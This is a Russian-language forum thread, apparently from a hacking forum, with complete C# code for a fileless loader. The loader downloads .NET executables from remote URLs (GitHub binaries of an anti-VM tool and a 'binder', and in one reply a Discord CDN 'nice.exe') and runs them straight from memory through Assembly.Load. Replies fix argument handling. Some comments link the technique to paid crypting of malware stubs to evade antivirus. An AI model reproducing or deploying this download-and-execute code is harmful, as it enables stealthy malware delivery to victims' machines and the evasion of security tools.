Загрузка...

Загрузка данных в память и запуск из памяти

Тема в разделе C# создана пользователем r3xq1 29 сен 2020. 1667 просмотров

  1. r3xq1
    r3xq1 Автор темы 29 сен 2020 https://t.me/DarkSoft_Extra 119 27 июл 2018
    Сейчас я покажу наглядный пример как средствами C# можно загрузить данные в память и вызвать из памяти что-то, на примере я скачаю файл из интернета прямо в память и запущу его из памяти.

    Создадим класс который позволит загружать данные из памяти:

    Код
    namespace ExeToMemory
    {
    using System;
    using System.Reflection;
    using System.Threading;

    public static class MemoryUtils
    {
    public static Thread RunFromMemory(byte[] bytes)
    {
    var thread = new Thread(new ThreadStart(() =>
    {
    try
    {
    var assembly = Assembly.Load(bytes);
    MethodInfo method = assembly?.EntryPoint;
    method?.Invoke(null, null);
    }
    catch (BadImageFormatException) { Console.WriteLine("Native application not support"); }
    }));

    thread?.SetApartmentState(ApartmentState.STA);
    thread?.Start();

    return thread;
    }
    }
    }
    Создадим метод для загрузки файла и запуск из памяти:

    Код
    namespace ExeToMemory
    {
    using System;
    using System.IO;
    using System.Net;

    public static class Loader
    {
    public static void Inizialize(string url)
    {
    var Link = new Uri(url);
    using (var client = new WebClient())
    {
    Console.WriteLine("Загружаем файл...");
    byte[] data = client.DownloadData(Link);
    Console.WriteLine("Файл загружен");
    if (data != null)
    {
    Console.WriteLine("Загружаем файл в память");
    using (var mem = new MemoryStream(data))
    {
    byte[] bytes = mem?.ToArray();
    Console.WriteLine("Запуск файла из памяти.");
    MemoryUtils.RunFromMemory(bytes).Join();
    }
    }
    }
    }
    }
    }
    Вызов в Main

    Код
    namespace ExeToMemory
    {
    using System;

    internal static class Program
    {
    [STAThread]
    public static void Main()
    {
    Console.Title = "Execute Download File From Memory by r3xq1";

    Loader.Inizialize("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe");

    Console.ReadKey();
    }
    }
    }
    P.S: Загружает только файлы на базе .Net Framework.
    Если хотите массово загрузить в память то используйте такой подход:

    Код
    namespace ExeToMemory
    {
    using System;
    using System.IO;
    using System.Net;

    public static class Loader
    {
    public static void Init()
    {
    byte[] data = DownloadFile("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe");
    using (var mem = new MemoryStream(data))
    {
    byte[] bytes = mem?.ToArray();
    MemoryUtils.RunFromMemory(bytes).Join();
    }
    }

    public static void MassInit()
    {
    string[] binary = new string[2]
    {
    "https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe",
    "https://raw.githubusercontent.com/r3xq1/R3BinderNSIS/master/bin/Release/R3BinderTools.exe",
    };
    foreach (string list in binary)
    {
    byte[] data = DownloadFile(list);
    using (var mem = new MemoryStream(data))
    {
    byte[] bytes = mem?.ToArray();
    MemoryUtils.RunFromMemory(bytes); // .Join() - для ожидания
    }
    }
    }

    private static byte[] DownloadFile(string url)
    {
    byte[] result = null;
    if (string.IsNullOrWhiteSpace(url)) return result;
    try
    {
    var Link = new Uri(url);
    using (var webClient = new WebClient())
    {
    result = webClient.DownloadData(Link);
    }
    }
    catch (WebException) { Console.WriteLine("Not Internet Connected"); }
    return result;
    }
    }
    }
    Вот и всё!)

    P.S: Решение с загрузкой любых аргументов: https://zelenka.guru/threads/2746042/
     
    29 сен 2020 Изменено
  2. Supremacy
    Supremacy 19 апр 2021 Efficiency 1233 13 янв 2020
    Не работает :finger_up:
    Несовпадение количества параметров.
    Код
    namespace ExeToMemory
    {
    using System;
    using System.Reflection;
    using System.Threading;

    public static class MemoryUtils
    {
    public static Thread RunFromMemory(byte[] bytes)
    {
    var thread = new Thread(new ThreadStart(() =>
    {
    try
    {
    var assembly = Assembly.Load(bytes);
    MethodInfo method = assembly?.EntryPoint;
    method?.Invoke(null, null);
    }
    catch (BadImageFormatException) { Console.WriteLine("Native application not support"); }
    }));

    thread?.SetApartmentState(ApartmentState.STA);
    thread?.Start();

    return thread;
    }
    }
    }

    namespace ExeToMemory
    {
    using System;
    using System.IO;
    using System.Net;

    public static class Loader
    {
    public static void Inizialize(string url)
    {
    var Link = new Uri(url);
    using (var client = new WebClient())
    {
    Console.WriteLine("Загружаем файл...");
    byte[] data = client.DownloadData(Link);
    Console.WriteLine("Файл загружен");
    if (data != null)
    {
    Console.WriteLine("Загружаем файл в память");
    using (var mem = new MemoryStream(data))
    {
    byte[] bytes = mem?.ToArray();
    Console.WriteLine("Запуск файла из памяти.");
    MemoryUtils.RunFromMemory(bytes).Join();
    }
    }
    }
    }
    }
    }

    namespace ExeToMemory
    {
    using System;

    internal static class Program
    {
    [STAThread]
    public static void Main()
    {
    Console.Title = "Execute Download File From Memory by r3xq1";

    Loader.Inizialize("https://cdn.discordapp.com/attachments/803591137343307786/833393511952285702/nice.exe");

    Console.ReadKey();
    }
    }
    }
     
    1. Посмотреть предыдущие комментарии (10)
    2. Supremacy
      r3xq1, я просто сначала решил затестить код и посмотреть работает ли он
      Причем тут копипастинг
      Твоя хуйня не работает
    3. r3xq1 Автор темы
      Supremacy, если у тебя что-то не работает - это твои проблемы!
      Если бы у тебя была голова на плечах и умел пользоваться руками, нашёл бы и сам исправил, а так же поделился бы способом решения. Но нужно обязательно высрать негатив в чью-то сторону, это так не работает.
      В конце поста есть способ решения.
    4. Dead__Artis
      Supremacy, потому что у твоего файла есть аргументы в методе майн например string[] args, можешь убрать это просто и все, либо же вот тебе код
      C#
      Assembly loader = Assembly.Load(Zip.Decompress(buffer));
      object[] parm = null;
      if (loader.EntryPoint.GetParameters().Length > 0)
      {
      parm = new object[] { new string[] { null } };
      }
      loader.EntryPoint.Invoke(null, parm);
  3. CoderVir
    r3xq1 так шо код нормальный.
    --- Сообщение объединено с предыдущим 22 апр 2021
    [IMG] мистер криптор не оценил твой код и вмп
     
    1. r3xq1 Автор темы
      @CoderVir, это примерочный код не более... К чему твой скрин тут не понятно.
    2. CoderVir
      r3xq1, я тут высказывал своё мнение. Эта выскочка начала писать, что ты говно показал. После он пожаловался и его и моё сообщение удалили. Он понял, что потеряет бизн если многие узнают об этой фиче. Ибо таким образом они криптуют за мани. за 800 деревянных крипт. Жесть. А юзают этот код, просто чистя стабы.
Загрузка...
Top